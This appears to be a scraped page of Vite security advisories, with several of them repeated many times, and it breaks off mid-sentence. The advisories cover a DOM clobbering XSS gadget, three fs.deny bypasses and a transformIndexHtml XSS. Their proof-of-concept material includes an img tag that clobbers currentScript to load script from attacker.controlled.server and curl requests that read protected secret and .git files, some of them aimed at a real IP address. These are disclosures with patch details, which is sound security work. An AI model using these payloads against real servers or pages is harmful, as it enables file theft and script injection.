// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
๐จ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
๐จ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
๐จ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
